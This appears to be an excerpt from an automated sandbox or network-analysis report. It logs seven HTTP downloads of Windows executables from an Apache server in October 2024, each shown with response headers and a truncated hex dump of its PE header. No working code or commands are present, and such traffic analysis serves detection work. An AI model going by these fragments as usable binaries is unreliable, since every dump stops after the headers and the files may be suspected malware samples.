Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:43:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:43:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:43:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:43:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:43:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:43:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:43:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
